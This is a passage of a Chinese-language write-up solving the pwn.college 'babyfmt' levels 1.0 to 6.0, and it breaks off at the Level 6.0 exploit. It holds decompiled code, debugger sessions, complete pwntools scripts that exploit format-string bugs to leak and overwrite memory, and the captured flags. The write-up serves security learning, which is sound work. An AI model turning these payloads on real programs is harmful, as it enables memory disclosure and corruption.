# 前言
> It's a thrilling intellectual puzzle, unlocking the secrets of a program from
the inside out.
>
> ~Description 你别吓我，万一我 IQ 没及格怎么办？那不是炸了？？~
玩点简单的 (probably)？智力游戏吧～**_泄漏/篡改数据神技_**，小子，是不是应该学透
彻？
# Level 1.0
## Information
- Category: Pwn
## Description
> Use a format string exploit to reveal a string stored on the stack.
## Write-up
```c {16-25} ins={58-65} del={49, 55} collapse={1-12, 29-45, 69-71}
unsigned __int64 func()
{
unsigned int v0; // eax
int v1; // eax
_BYTE v3[456]; // [rsp+0h] [rbp-1E0h] BYREF
unsigned __int64 v4; // [rsp+1C8h] [rbp-18h]
__int64 savedregs; // [rsp+1E0h] [rbp+0h] BYREF
_UNKNOWN *retaddr; // [rsp+1E8h] [rbp+8h] BYREF
v4 = __readfsqword(0x28u);
sp_ = (__int64)v3;
bp_ = (__int64)&savedregs;
sz_ = ((unsigned __int64)((char *)&savedregs - v3) >> 3) + 2;
rp_ = (__int64)&retaddr;
memset(&v3[16], 0, 0x1B0uLL);
v0 = time(0LL);
srand(v0);
*(_DWORD *)&v3[112] = 0;
while ( *(int *)&v3[112] <= 14 )
{
v3[*(int *)&v3[112]] = rand() % 26 + 65;
++*(_DWORD *)&v3[112];
}
v3[15] = 0;
*(_QWORD *)&v3[80] = v3;
puts("There is a 15-character uppercase secret password hidden on the stack!")
;
puts("If you find it, you will be given the flag!");
putchar(10);
printf("The secret password is located at %p and the stack pointer is located
at %p.n", &v3[80], (const void *)sp_);
printf(
"The difference between these addresses is: %d (%d / 8).n",
(unsigned __int64)&v3[-sp_ + 80] >> 3,
(unsigned int)&v3[-sp_ + 80]);
printf("This means, before the printf, the arguments to the format string will
look something like:n");
printf("%p:t[SECRET_PASSWORD]n", &v3[80]);
*(_DWORD *)&v3[112] = 0;
while ( *(int *)&v3[112] < (unsigned __int64)&v3[-sp_ + 80] >> 3 )
{
printf("%p:t[?]n", &v3[-8 - 8LL * *(int *)&v3[112] + 80]);
++*(_DWORD *)&v3[112];
}
puts("R9:tt[?]");
puts("R8:tt[?]");
puts("RCX:tt[?]");
puts("RDX:tt[?]");
puts("RSI:tt[?]");
puts("RDI:tt[FORMAT_STRING]");
printf("I will now read up to %d bytes. Send your data!n", 256);
*(_DWORD *)&v3[116] = read(0, &v3[149], 0x100uLL);
v3[*(int *)&v3[116] + 149] = 0;
printf("Received %d bytes!n", *(_DWORD *)&v3[116]);
putchar(10);
printf("I will now call printf on your data!n");
putchar(10);
printf(&v3[149], 256LL);
putchar(10);
puts("What is the secret password?");
*(_DWORD *)&v3[116] = read(0, &v3[96], 0xFuLL);
v3[*(int *)&v3[116] + 96] = 0;
if ( !strcmp(*(const char **)&v3[80], &v3[96]) )
{
puts("Correct Password!");
v1 = open("/flag", 0);
sendfile(1, v1, 0LL, 0x400uLL);
}
else
{
puts("Wrong Password!");
}
return __readfsqword(0x28u) ^ v4;
}
```
第一题，核心伪代码如上，会随机生成一串字符串到栈上某个位置，绿色部分会判断输入是
否和栈上的随机字符串相符，成立则输出 flag。
红色部分直接把输入作为 `printf()` 的 `const char *format` 参数，是一个很明显的格
式化字符串漏洞。
再简单计算一下随机字符串在栈上第几位，加上 6 (`RDI`、`RSI`、`RDX`、`RCX`、`R8`、
`R9`) 就是我们需要泄漏的参数位了。
```asm wrap=false showLineNumbers=false
Breakpoint 1, 0x00005b65398e08db in func ()
LEGEND: STACK | HEAP | CODE | DATA | WX | RODATA
────────────[ REGISTERS / show-flags off / show-compact-regs off ]─────────────
RAX 0x7ffe301646e0 <- 'XJHHXBRPRMBHWHQ'
RBX 0x7ffe30164a18 -> 0x7ffe3016677b <- '/home/cub3y0nd/Projects/pwn.college/b
abyfmt_level1.0'
RCX 0x7b2b06f98a21 (read+17) <- cmp rax, -0x1000 /* 'H=' */
RDX 0x7ffe30164740 <- 0xa /* 'n' */
RDI 0x7ffe301646e0 <- 'XJHHXBRPRMBHWHQ'
RSI 0x7ffe30164740 <- 0xa /* 'n' */
R8 0x64
R9 0xffffffff
R10 0
R11 0x246
R12 1
R13 0
R14 0x7b2b070e5000 (_rtld_global) -> 0x7b2b070e62e0 -> 0x5b65398df000 <- 0x101
02464c457f
R15 0
RBP 0x7ffe301648c0 -> 0x7ffe301648f0 -> 0x7ffe30164990 -> 0x7ffe301649f0 <- 0
RSP 0x7ffe301646e0 <- 'XJHHXBRPRMBHWHQ'
RIP 0x5b65398e08db (func+936) <- call strcmp@plt
─────────────────────[ DISASM / x86-64 / set emulate on ]──────────────────────
-> 0x5b65398e08db <func+936> call strcmp@plt <strcmp@plt>
s1: 0x7ffe301646e0 <- 'XJHHXBRPRMBHWHQ'
s2: 0x7ffe30164740 <- 0xa /* 'n' */
0x5b65398e08e0 <func+941> test eax, eax
0x5b65398e08e2 <func+943> jne func+1005 <func+1005>
0x5b65398e08e4 <func+945> lea rdi, [rip + 0xa60] RDI => 0x5b65398e1
34b <- 'Correct Password!'
0x5b65398e08eb <func+952> call puts@plt <puts@plt>
0x5b65398e08f0 <func+957> mov esi, 0 ESI => 0
0x5b65398e08f5 <func+962> lea rdi, [rip + 0xa61] RDI => 0x5b65398e1
35d <- 0x72570067616c662f /* '/flag' */
0x5b65398e08fc <func+969> mov eax, 0 EAX => 0
0x5b65398e0901 <func+974> call open@plt <open@plt>
0x5b65398e0906 <func+979> mov ebx, eax
0x5b65398e0908 <func+981> mov ecx, 0x400 ECX => 0x400
───────────────────────────────────[ STACK ]───────────────────────────────────
00:0000│ rax rdi rsp 0x7ffe301646e0 <- 'XJHHXBRPRMBHWHQ'
01:0008│-1d8 0x7ffe301646e8 <- 0x51485748424d52 /* 'RMBHWHQ' */
02:0010│-1d0 0x7ffe301646f0 <- 0
... ↓ 5 skipped
─────────────────────────────────[ BACKTRACE ]─────────────────────────────────
-> 0 0x5b65398e08db func+936
1 0x5b65398e0a53 main+264
2 0x7b2b06eb2e08 None
3 0x7b2b06eb2ecc __libc_start_main+140
4 0x5b65398e022e _start+46
───────────────────────────────────────────────────────────────────────────────
pwndbg> stack 30
00:0000│ rax rdi rsp 0x7ffe301646e0 <- 'XJHHXBRPRMBHWHQ'
01:0008│-1d8 0x7ffe301646e8 <- 0x51485748424d52 /* 'RMBHWHQ' */
02:0010│-1d0 0x7ffe301646f0 <- 0
... ↓ 7 skipped
0a:0050│-190 0x7ffe30164730 -> 0x7ffe301646e0 <- 'XJHHXBRPRMBHWHQ'
0b:0058│-188 0x7ffe30164738 <- 0
0c:0060│ rdx rsi 0x7ffe30164740 <- 0xa /* 'n' */
0d:0068│-178 0x7ffe30164748 <- 0
0e:0070│-170 0x7ffe30164750 <- 0x10000000a /* 'n' */
0f:0078│-168 0x7ffe30164758 <- 0
... ↓ 2 skipped
12:0090│-150 0x7ffe30164770 <- 0xa0000000000
13:0098│-148 0x7ffe30164778 <- 0
... ↓ 10 skipped
pwndbg> dist 0x7ffe30164730 $rsp
0x7ffe30164730->0x7ffe301646e0 is -0x50 bytes (-0xa words)
pwndbg> p/d 0x50/8+6
$1 = 16
```
## Exploit
```python
#!/usr/bin/env python3
from pwn import (
args,
context,
log,
process,
raw_input,
remote,
)
FILE = "./babyfmt_level1.0"
HOST, PORT = "94.237.57.115", 42156
context(log_level="debug", binary=FILE, terminal="kitty")
elf = context.binary
def launch():
if args.L:
target = process(FILE)
else:
target = remote(HOST, PORT)
return target
def main():
target = launch()
target.sendafter(b"Send your data!", "%16$s")
target.recvuntil(b"I will now call printf on your data!nn")
secret = target.recvline(False)
target.sendafter(b"What is the secret password?n", secret)
target.interactive()
if __name__ == "__main__":
main()
```
## Flag
Flag: `pwn.college{UGd_h1EnEGQDMhB1PSrD81fSSXs.dZTM0MDL5cTNxgzW}`
# Level 1.1
## Information
- Category: Pwn
## Description
> Use a format string exploit to reveal a string stored on the stack.
## Write-up
参见 [Level 1.0](#level-10)。
## Exploit
```python
#!/usr/bin/python3
from contextlib import contextmanager
from pwn import ELF, context, gdb, log, process, remote
context(log_level="debug", terminal="kitty")
FILE = "./babyfmt_level1.1"
HOST, PORT = "localhost", 1337
gdbscript = """
c
"""
@contextmanager
def launch(local=True, debug=False, aslr=False, argv=None, envp=None):
target = None
try:
if local:
elf = ELF(FILE)
context.binary = elf
target = (
gdb.debug(
[elf.path] + (argv or []), gdbscript=gdbscript, aslr=aslr, e
nv=envp
)
if debug
else process([elf.path] + (argv or []), env=envp)
)
else:
target = remote(HOST, PORT)
yield target
finally:
if target:
target.close()
def construct_payload(leak_offset):
payload = f"%{leak_offset}$s".encode()
return payload
def attack(target):
try:
payload = construct_payload(10)
target.send(payload)
target.recvuntil(b"I will now call printf on your data!nn")
password = target.recv(0xF)
target.sendafter(b"What is the secret password?n", password)
response = target.recvall(timeout=3)
if b"pwn.college{" in response:
return True
except Exception as e:
log.exception(f"An error occurred while performing attack: {e}")
def main():
try:
with launch() as target:
if attack(target):
log.success("Attack completed successfully.")
else:
log.failure("Attack did not yield a flag.")
except Exception as e:
log.exception(f"An error occurred in main: {e}")
if __name__ == "__main__":
main()
```
## Flag
Flag: `pwn.college{UQu4aFVleX5KV74QVvgMLBddqc-.ddTM0MDL5cTNxgzW}`
# Level 2.0
## Information
- Category: Pwn
## Description
> Use a format string exploit to reveal a string stored on the stack.
## Write-up
```asm wrap=false showLineNumbers=false
Breakpoint 1, 0x00005a05148a88fe in func ()
LEGEND: STACK | HEAP | CODE | DATA | WX | RODATA
────────────[ REGISTERS / show-flags off / show-compact-regs off ]─────────────
RAX 0x7ffe6d89d0a0 <- 'VCOMITKAHQHVEVP'
RBX 0x7ffe6d89d438 -> 0x7ffe6d89e77b <- '/home/cub3y0nd/Projects/pwn.college/b
abyfmt_level2.0'
RCX 0x71da28ecea21 (read+17) <- cmp rax, -0x1000 /* 'H=' */
RDX 0x7ffe6d89d0b0 <- 0xa /* 'n' */
RDI 0x7ffe6d89d0a0 <- 'VCOMITKAHQHVEVP'
RSI 0x7ffe6d89d0b0 <- 0xa /* 'n' */
R8 0x64
R9 0xffffffff
R10 0
R11 0x246
R12 1
R13 0
R14 0x71da2901b000 (_rtld_global) -> 0x71da2901c2e0 -> 0x5a05148a7000 <- 0x101
02464c457f
R15 0
RBP 0x7ffe6d89d2e0 -> 0x7ffe6d89d310 -> 0x7ffe6d89d3b0 -> 0x7ffe6d89d410 <- 0
RSP 0x7ffe6d89d040 <- 0x800000
RIP 0x5a05148a88fe (func+971) <- call strcmp@plt
─────────────────────[ DISASM / x86-64 / set emulate on ]──────────────────────
-> 0x5a05148a88fe <func+971> call strcmp@plt <strcmp@plt
>
s1: 0x7ffe6d89d0a0 <- 'VCOMITKAHQHVEVP'
s2: 0x7ffe6d89d0b0 <- 0xa /* 'n' */
0x5a05148a8903 <func+976> test eax, eax
0x5a05148a8905 <func+978> jne func+1040 <func+1040>
0x5a05148a8907 <func+980> lea rdi, [rip + 0xaad] RDI => 0x5a05148a
93bb <- 'Correct Password!'
0x5a05148a890e <func+987> call puts@plt <puts@plt>
0x5a05148a8913 <func+992> mov esi, 0 ESI => 0
0x5a05148a8918 <func+997> lea rdi, [rip + 0xaae] RDI => 0x5a05148a
93cd <- 0x72570067616c662f /* '/flag' */
0x5a05148a891f <func+1004> mov eax, 0 EAX => 0
0x5a05148a8924 <func+1009> call open@plt <open@plt>
0x5a05148a8929 <func+1014> mov ebx, eax
0x5a05148a892b <func+1016> mov ecx, 0x400 ECX => 0x400
───────────────────────────────────[ STACK ]───────────────────────────────────
00:0000│ rsp 0x7ffe6d89d040 <- 0x800000
01:0008│-298 0x7ffe6d89d048 -> 0x7ffe6d89d0a0 <- 'VCOMITKAHQHVEVP'
02:0010│-290 0x7ffe6d89d050 <- 0
... ↓ 5 skipped
─────────────────────────────────[ BACKTRACE ]─────────────────────────────────
-> 0 0x5a05148a88fe func+971
1 0x5a05148a8a76 main+264
2 0x71da28de8e08 None
3 0x71da28de8ecc __libc_start_main+140
4 0x5a05148a822e _start+46
───────────────────────────────────────────────────────────────────────────────
pwndbg> x/2gx 0x7ffe6d89d0a0
0x7ffe6d89d0a0: 0x414b54494d4f4356 0x0050564556485148
pwndbg> x/s 0x7ffe6d89d0a0
0x7ffe6d89d0a0: "VCOMITKAHQHVEVP"
pwndbg> dist $rdi $rsp
0x7ffe6d89d0a0->0x7ffe6d89d040 is -0x60 bytes (-0xc words)
pwndbg> p/d 0x60/8+6
$1 = 18
```
这次我剑走偏锋，不用 `%s` 了，而是尝试用更麻烦一点的 `%llx` 输出栈上保存的随机字
符串值，转换为 ASCII。因为小端序，所以还需要再反转一下。
## Exploit
```python
#!/usr/bin/python3
from contextlib import contextmanager
from pwn import ELF, context, flat, gdb, log, process, remote, unhex
context(log_level="debug", terminal="kitty")
FILE = "./babyfmt_level2.0"
HOST, PORT = "localhost", 1337
gdbscript = """
c
"""
@contextmanager
def launch(local=True, debug=False, aslr=False, argv=None, envp=None):
target = None
try:
if local:
elf = ELF(FILE)
context.binary = elf
target = (
gdb.debug(
[elf.path] + (argv or []), gdbscript=gdbscript, aslr=aslr, e
nv=envp
)
if debug
else process([elf.path] + (argv or []), env=envp)
)
else:
target = remote(HOST, PORT)
yield target
finally:
if target:
target.close()
def construct_payload():
payload = b"%18$llx%19$llx"
return payload
def attack(target):
try:
payload = construct_payload()
target.send(payload)
target.recvuntil(b"I will now call printf on your data!nn")
password = flat(
unhex(target.recv(2 * 8))[::-1],
unhex(target.recv(2 * 7))[::-1],
)
target.sendafter(b"What is the secret password?n", password)
response = target.recvall(timeout=3)
if b"pwn.college{" in response:
return True
except Exception as e:
log.exception(f"An error occurred while performing attack: {e}")
def main():
try:
with launch() as target:
if attack(target):
log.success("Attack completed successfully.")
else:
log.failure("Attack did not yield a flag.")
except Exception as e:
log.exception(f"An error occurred in main: {e}")
if __name__ == "__main__":
main()
```
## Flag
Flag: `pwn.college{QZG8MJMHwVhFNzjDx4guy6MBfEL.dhTM0MDL5cTNxgzW}`
# Level 2.1
## Information
- Category: Pwn
## Description
> Use a format string exploit to reveal a string stored on the stack.
## Write-up
参见 [Level 2.0](#level-20)。
## Exploit
```python
#!/usr/bin/python3
from contextlib import contextmanager
from pwn import ELF, context, flat, gdb, log, process, remote, unhex
context(log_level="debug", terminal="kitty")
FILE = "./babyfmt_level2.1"
HOST, PORT = "localhost", 1337
gdbscript = """
c
"""
@contextmanager
def launch(local=True, debug=False, aslr=False, argv=None, envp=None):
target = None
try:
if local:
elf = ELF(FILE)
context.binary = elf
target = (
gdb.debug(
[elf.path] + (argv or []), gdbscript=gdbscript, aslr=aslr, e
nv=envp
)
if debug
else process([elf.path] + (argv or []), env=envp)
)
else:
target = remote(HOST, PORT)
yield target
finally:
if target:
target.close()
def construct_payload():
payload = b"%18$llx%19$llx"
return payload
def attack(target):
try:
payload = construct_payload()
target.send(payload)
target.recvuntil(b"I will now call printf on your data!nn")
password = flat(
unhex(target.recv(2 * 8))[::-1],
unhex(target.recv(2 * 7))[::-1],
)
target.sendafter(b"What is the secret password?n", password)
response = target.recvall(timeout=3)
if b"pwn.college{" in response:
return True
except Exception as e:
log.exception(f"An error occurred while performing attack: {e}")
def main():
try:
with launch() as target:
if attack(target):
log.success("Attack completed successfully.")
else:
log.failure("Attack did not yield a flag.")
except Exception as e:
log.exception(f"An error occurred in main: {e}")
if __name__ == "__main__":
main()
```
## Flag
Flag: `pwn.college{MjTMloC44qXLBonimJ5i3Zq3ux-.dlTM0MDL5cTNxgzW}`
# Level 3.0
## Information
- Category: Pwn
## Description
> Use a format string exploit to read the flag directly from the .bss section.
## Write-up
这题直接把 flag 读到 `.bss` 段了，所以思路很简单，就是把 `.bss` 的地址写到栈上某
个位置，然后通过 `%s` 解引用输出这个地址的值。
注意一定是先输入 fmtstr 再接地址，这个应该不需要解释吧。
遇事别慌多调试，~_debugger 是你的 gf，你还不懂吗。_~
## Exploit
```python
#!/usr/bin/python3
from contextlib import contextmanager
from pwn import ELF, context, flat, gdb, log, process, remote
context(log_level="debug", terminal="kitty")
FILE = "./babyfmt_level3.0"
HOST, PORT = "localhost", 1337
gdbscript = """
b *func+436
b *func+549
c
"""
@contextmanager
def launch(local=True, debug=False, aslr=False, argv=None, envp=None):
target = None
try:
if local:
global elf
elf = ELF(FILE)
context.binary = elf
target = (
gdb.debug(
[elf.path] + (argv or []), gdbscript=gdbscript, aslr=aslr, e
nv=envp
)
if debug
else process([elf.path] + (argv or []), env=envp)
)
else:
target = remote(HOST, PORT)
yield target
finally:
if target:
target.close()
def construct_payload(position, data_offset):
return flat(
f"aaa%{position}$sx00",
elf.bss() + data_offset,
)
def attack(target):
try:
payload = construct_payload(16, 0x70)
target.sendafter(b"Send your data!", payload)
response = target.recvall(timeout=3)
if b"pwn.college{" in response:
return True
except Exception as e:
log.exception(f"An error occurred while performing attack: {e}")
def main():
try:
with launch(debug=False) as target:
if attack(target):
log.success("Attack completed successfully.")
else:
log.failure("Attack did not yield a flag.")
except Exception as e:
log.exception(f"An error occurred in main: {e}")
if __name__ == "__main__":
main()
```
## Flag
Flag: `pwn.college{coYB13XxKYo3asb6os4GxIefmpC.dBjM0MDL5cTNxgzW}`
# Level 3.1
## Information
- Category: Pwn
## Description
> Use a format string exploit to read the flag directly from the .bss section.
## Write-up
参见 [Level 3.0](#level-30)。
睡了一天为什么还是好困，不写了，睡觉觉，在想明天或者以后要不要写一个技巧向专题？
明天得学学 `ret2csu` 和 `SROP`。
## Exploit
```python
#!/usr/bin/python3
from contextlib import contextmanager
from pwn import ELF, context, flat, gdb, log, process, remote
context(log_level="debug", terminal="kitty")
FILE = "./babyfmt_level3.1"
HOST, PORT = "localhost", 1337
gdbscript = """
b *func+310
c
"""
@contextmanager
def launch(local=True, debug=False, aslr=False, argv=None, envp=None):
target = None
try:
if local:
global elf
elf = ELF(FILE)
context.binary = elf
target = (
gdb.debug(
[elf.path] + (argv or []), gdbscript=gdbscript, aslr=aslr, e
nv=envp
)
if debug
else process([elf.path] + (argv or []), env=envp)
)
else:
target = remote(HOST, PORT)
yield target
finally:
if target:
target.close()
def construct_payload(position, data_offset):
return flat(
f"%{position}$sx00",
elf.bss() + data_offset,
)
def attack(target):
try:
payload = construct_payload(20, 0x90)
target.sendafter(b"Send your data!", payload)
response = target.recvall(timeout=3)
if b"pwn.college{" in response:
return True
except Exception as e:
log.exception(f"An error occurred while performing attack: {e}")
def main():
try:
with launch(debug=False) as target:
if attack(target):
log.success("Attack completed successfully.")
else:
log.failure("Attack did not yield a flag.")
except Exception as e:
log.exception(f"An error occurred in main: {e}")
if __name__ == "__main__":
main()
```
## Flag
Flag: `pwn.college{UtDc1WIH6qas-RrhigjZpPLWMUP.dFjM0MDL5cTNxgzW}`
# Level 4.0
## Information
- Category: Pwn
## Description
> Use a format string exploit to set a global variable.
## Write-up
```c ins={8-10} collapse={1-4}
int check_win()
{
int v0; // eax
puts("Checking win value...");
printf("... desired win value: %#lxn", 194LL);
printf("... written win value: %#lxn", qword_404160);
if ( qword_404160 != 0xC2 )
return puts("... INCORRECT!");
puts("... SUCCESS! Here is your flag:");
v0 = open("/flag", 0);
return sendfile(1, v0, 0LL, 0x80uLL);
}
```
简单，通过逆向我们知道，`check_win()` 输出 flag 的条件是 `.bss` 段上的 `qword_40
4160` 变量值为 `0xC2`，为了满足这一条件，我们直接用 `%n` 篡改即可。
## Exploit
```python
#!/usr/bin/python3
from contextlib import contextmanager
from pwn import ELF, context, flat, gdb, log, process, remote
context(log_level="debug", terminal="kitty")
FILE = "./babyfmt_level4.0"
HOST, PORT = "localhost", 1337
gdbscript = """
b *func+293
b *check_win+77
c
"""
@contextmanager
def launch(local=True, debug=False, aslr=False, argv=None, envp=None):
target = None
try:
if local:
global elf
elf = ELF(FILE)
context.binary = elf
target = (
gdb.debug(
[elf.path] + (argv or []), gdbscript=gdbscript, aslr=aslr, e
nv=envp
)
if debug
else process([elf.path] + (argv or []), env=envp)
)
else:
target = remote(HOST, PORT)
yield target
finally:
if target:
target.close()
def construct_payload(position, var_offset):
return flat(
f"aaaa%190x%{position}$nx00".encode("ascii"),
elf.bss() + var_offset,
)
def attack(target):
try:
payload = construct_payload(29, 0xC0)
target.sendafter(b"Send your data!", payload)
response = target.recvall(timeout=3)
if b"pwn.college{" in response:
return True
except Exception as e:
log.exception(f"An error occurred while performing attack: {e}")
def main():
try:
with launch(debug=False) as target:
if attack(target):
log.success("Attack completed successfully.")
else:
log.failure("Attack did not yield a flag.")
except Exception as e:
log.exception(f"An error occurred in main: {e}")
if __name__ == "__main__":
main()
```
## Flag
Flag: `pwn.college{MrJaEVG2FM1QGKYUbL8GjOyBkhg.dJjM0MDL5cTNxgzW}`
# Level 4.1
## Information
- Category: Pwn
## Description
> Use a format string exploit to set a global variable.
## Write-up
参见 [Level 4.0](#level-40)。
## Exploit
```python
#!/usr/bin/python3
from contextlib import contextmanager
from pwn import ELF, context, flat, gdb, log, process, remote
context(log_level="debug", terminal="kitty")
FILE = "./babyfmt_level4.1"
HOST, PORT = "localhost", 1337
gdbscript = """
b *func+191
b *check_win+77
c
"""
@contextmanager
def launch(local=True, debug=False, aslr=False, argv=None, envp=None):
target = None
try:
if local:
global elf
elf = ELF(FILE)
context.binary = elf
target = (
gdb.debug(
[elf.path] + (argv or []), gdbscript=gdbscript, aslr=aslr, e
nv=envp
)
if debug
else process([elf.path] + (argv or []), env=envp)
)
else:
target = remote(HOST, PORT)
yield target
finally:
if target:
target.close()
def construct_payload(position, var_offset):
return flat(
f"aaaaa%116x%{position}$nx00".encode("ascii"),
elf.bss() + var_offset,
)
def attack(target):
try:
payload = construct_payload(30, 0x40)
target.sendafter(b"Send your data!", payload)
response = target.recvall(timeout=3)
if b"pwn.college{" in response:
return True
except Exception as e:
log.exception(f"An error occurred while performing attack: {e}")
def main():
try:
with launch(debug=False) as target:
if attack(target):
log.success("Attack completed successfully.")
else:
log.failure("Attack did not yield a flag.")
except Exception as e:
log.exception(f"An error occurred in main: {e}")
if __name__ == "__main__":
main()
```
## Flag
Flag: `pwn.college{gYbZ_KMoDIuA2cpDPTK3F8hxiEo.dNjM0MDL5cTNxgzW}`
# Level 5.0
## Information
- Category: Pwn
## Description
> Use a format string exploit to set a larger global variable.
## Write-up
```c ins={8-10} collapse={1-4}
int check_win()
{
int v0; // eax
puts("Checking win value...");
printf("... desired win value: %#lxn", 0x82802F819C27A46ALL);
printf("... written win value: %#lxn", qword_4040F8);
if ( qword_4040F8 != 0x82802F819C27A46ALL )
return puts("... INCORRECT!");
puts("... SUCCESS! Here is your flag:");
v0 = open("/flag", 0);
return sendfile(1, v0, 0LL, 0x80uLL);
}
```
WHAT CAN I SAY...WHAT U WANT ME TO SAY...
对于这种巨大的数值的策略是我们可以分组写，按 2 字节一组应该是不错的选项。第一组
写起来应该是没有任何坑的，注意栈对齐加减字节即可；第二组开始则应该减去前一组写入
的字节数再 `% 0x10000`，这是为了回环到 `[0x00, 0xFF]` 这个区间，这样就确保了 `%n
` 写入的是我们期望的值。
评价一下我的码风好不好看 [1/31/2025](https://memos.cubeyond.net/m/jomRvQVoucVd8F
syYkpygn)。
## Exploit
```python
#!/usr/bin/python3
from contextlib import contextmanager
from pwn import ELF, context, flat, gdb, log, process, remote
context(log_level="debug", terminal="kitty")
FILE = "./babyfmt_level5.0"
HOST, PORT = "localhost", 1337
gdbscript = """
b *func+315
b *check_win+82
c
"""
@contextmanager
def launch(local=True, debug=False, aslr=False, argv=None, envp=None):
target = None
try:
if local:
global elf
elf = ELF(FILE)
context.binary = elf
target = (
gdb.debug(
[elf.path] + (argv or []), gdbscript=gdbscript, aslr=aslr, e
nv=envp
)
if debug
else process([elf.path] + (argv or []), env=envp)
)
else:
target = remote(HOST, PORT)
yield target
finally:
if target:
target.close()
def construct_payload(position, var_offset):
parts = [0xA46A, 0x9C27, 0x2F81, 0x8280]
align_stack = b"a" * 0x3
align_offset = len(align_stack)
fmtstr = (
b"".join(
f"%{(parts[i] - (align_offset if i == 0 else parts[i - 1])) % 0x1000
0}x%{position + i}$hn".encode(
"ascii"
)
for i in range(len(parts))
)
+ b"x00"
)
addresses = [elf.bss() + var_offset + (0x2 * i) for i in range(4)]
return flat(
align_stack,
fmtstr,
*addresses,
)
def attack(target):
try:
payload = construct_payload(45, 0x58)
target.sendafter(b"Send your data!", payload)
response = target.recvall(timeout=3)
if b"pwn.college{" in response:
return True
except Exception as e:
log.exception(f"An error occurred while performing attack: {e}")
def main():
try:
with launch(debug=False) as target:
if attack(target):
log.success("Attack completed successfully.")
else:
log.failure("Attack did not yield a flag.")
except Exception as e:
log.exception(f"An error occurred in main: {e}")
if __name__ == "__main__":
main()
```
## Flag
Flag: `pwn.college{wRZzRCQlIP6gytdVI6FYHhTLMom.dRjM0MDL5cTNxgzW}`
# Level 5.1
## Information
- Category: Pwn
## Description
> Use a format string exploit to set a larger global variable.
## Write-up
参见 [Level 5.0](#level-50)。
## Exploit
```python
#!/usr/bin/python3
from contextlib import contextmanager
from pwn import ELF, context, flat, gdb, log, process, remote
context(log_level="debug", terminal="kitty")
FILE = "./babyfmt_level5.1"
HOST, PORT = "localhost", 1337
gdbscript = """
b *func+213
b *check_win+82
c
"""
@contextmanager
def launch(local=True, debug=False, aslr=False, argv=None, envp=None):
target = None
try:
if local:
global elf
elf = ELF(FILE)
context.binary = elf
target = (
gdb.debug(
[elf.path] + (argv or []), gdbscript=gdbscript, aslr=aslr, e
nv=envp
)
if debug
else process([elf.path] + (argv or []), env=envp)
)
else:
target = remote(HOST, PORT)
yield target
finally:
if target:
target.close()
def construct_payload(position, var_offset):
parts = [0x15C7, 0x32CC, 0x2869, 0x2872]
align_stack = b"a" * 0x6
align_offset = len(align_stack)
fmtstr = (
b"".join(
f"%{(parts[i] - (align_offset if i == 0 else parts[i - 1])) % 0x1000
0}x%{position + i}$hn".encode(
"ascii"
)
for i in range(len(parts))
)
+ b"x00"
)
addresses = [elf.bss() + var_offset + (0x2 * i) for i in range(4)]
return flat(
align_stack,
fmtstr,
*addresses,
)
def attack(target):
try:
payload = construct_payload(39, 0xA8)
target.sendafter(b"Send your data!", payload)
response = target.recvall(timeout=3)
if b"pwn.college{" in response:
return True
except Exception as e:
log.exception(f"An error occurred while performing attack: {e}")
def main():
try:
with launch(debug=False) as target:
if attack(target):
log.success("Attack completed successfully.")
else:
log.failure("Attack did not yield a flag.")
except Exception as e:
log.exception(f"An error occurred in main: {e}")
if __name__ == "__main__":
main()
```
## Flag
Flag: `pwn.college{sjfLqAt2jCG0OYV91dJi9052Hf4.dVjM0MDL5cTNxgzW}`
# Level 6.0
## Information
- Category: Pwn
## Description
> Use a format string exploit to copy a value and overwrite a global variable.
## Write-up
```c ins={16-17, 44} del={35-36, 41} collapse={1-12, 21-31}
unsigned __int64 func()
{
int v0; // eax
unsigned int v1; // eax
_QWORD v3[63]; // [rsp+0h] [rbp-200h] BYREF
unsigned __int64 v4; // [rsp+1F8h] [rbp-8h]
__int64 savedregs; // [rsp+200h] [rbp+0h] BYREF
_UNKNOWN *retaddr; // [rsp+208h] [rbp+8h] BYREF
v4 = __readfsqword(0x28u);
sp_ = (__int64)v3;
bp_ = (__int64)&savedregs;
sz_ = ((unsigned __int64)((char *)&savedregs - (char *)v3) >> 3) + 2;
rp_ = (__int64)&retaddr;
memset(v3, 0, sizeof(v3));
v0 = open("/dev/urandom", 0, v3);
read(v0, &v3[62], 3uLL);
v1 = time(0LL);
srand(v1);
puts("This challenge requires you to set a win value, located in the .bss, to
a secret value! This secret value");
puts("is currently stored in a stack variable, and you will have to figure out
how to copy it into the .bss.");
puts("There are two options: do a leak (using one printf) followed by a write
(using a second printf), or use");
printf("a _dynamic padding size_, using the * format character, in combination
with %%n, in a _single_ printf,n");
puts("to copy memory. Since this level only gives you a single printf() call,
you will likely need to use the");
puts("latter. Check the printf man page (in category 3: `man 3 printf`) for do
cumentation on *.n");
puts("As before, if you successfully pull that off, the challenge will give yo
u the flag!");
putchar(10);
printf(
"The win value in the .bss is located at %p! Remember to write this in littl
e endian in your format string.n",
&qword_404158);
printf("Remember, you can swap %%n with %%lx to see what address you will be w
riting into to make sure you have the.");
puts("correct offset.n");
printf("The secret value is located on the stack, %#x bytes after the start of
your format string!nn", 325);
printf("I will now read up to %d bytes. Send your data!n", 256);
HIDWORD(v3[12]) = read(0, (char *)&v3[21] + 3, 0x100uLL);
*((_BYTE *)&v3[21] + SHIDWORD(v3[12]) + 3) = 0;
printf("Received %d bytes!n", HIDWORD(v3[12]));
putchar(10);
printf("I will now call printf on your data!n");
putchar(10);
printf((const char *)&v3[21] + 3, 256LL);
putchar(10);
puts("And now, let's check the win value!");
check_win(v3[62]);
return __readfsqword(0x28u) ^ v4;
}
```
```c ins={8-10} collapse={1-4}
int __fastcall check_win(__int64 a1)
{
int v1; // eax
puts("Checking win value...");
printf("... desired win value: %#lxn", a1);
printf("... written win value: %#lxn", qword_404158);
if ( a1 != qword_404158 )
return puts("... INCORRECT!");
puts("... SUCCESS! Here is your flag:");
v1 = open("/flag", 0);
return sendfile(1, v1, 0LL, 0x80uLL);
}
```
这题就是读了一个三字节的随机值到栈上，给 flag 的条件是我们 `.bss` 段中的 `qword_
404158` 变量值必须等于这个随机值。思路是用格式化字符串中的 `* (specifies a dynam
ic padding size)` 来 'copy memory'. 举个栗子：`%*10$c` 会把第十个参数的值用作 pa
dding size，输出大小为 padding size 的内容。所以我们只要把这个 padding size 通过
`%n` 写入就相当于实现了 'copy memory' 了。
这个方法这对于比较小的值还好，太大了就不太友善了，cuz bunch of spaces.
## Exploit
```python
#!/usr/bin/python3
from contextlib import contextmanager
from pwn import ELF, context, flat, gdb, log, process, remote
context(log_level="debug", terminal="kitty")
FILE = "./babyfmt_level6.0"
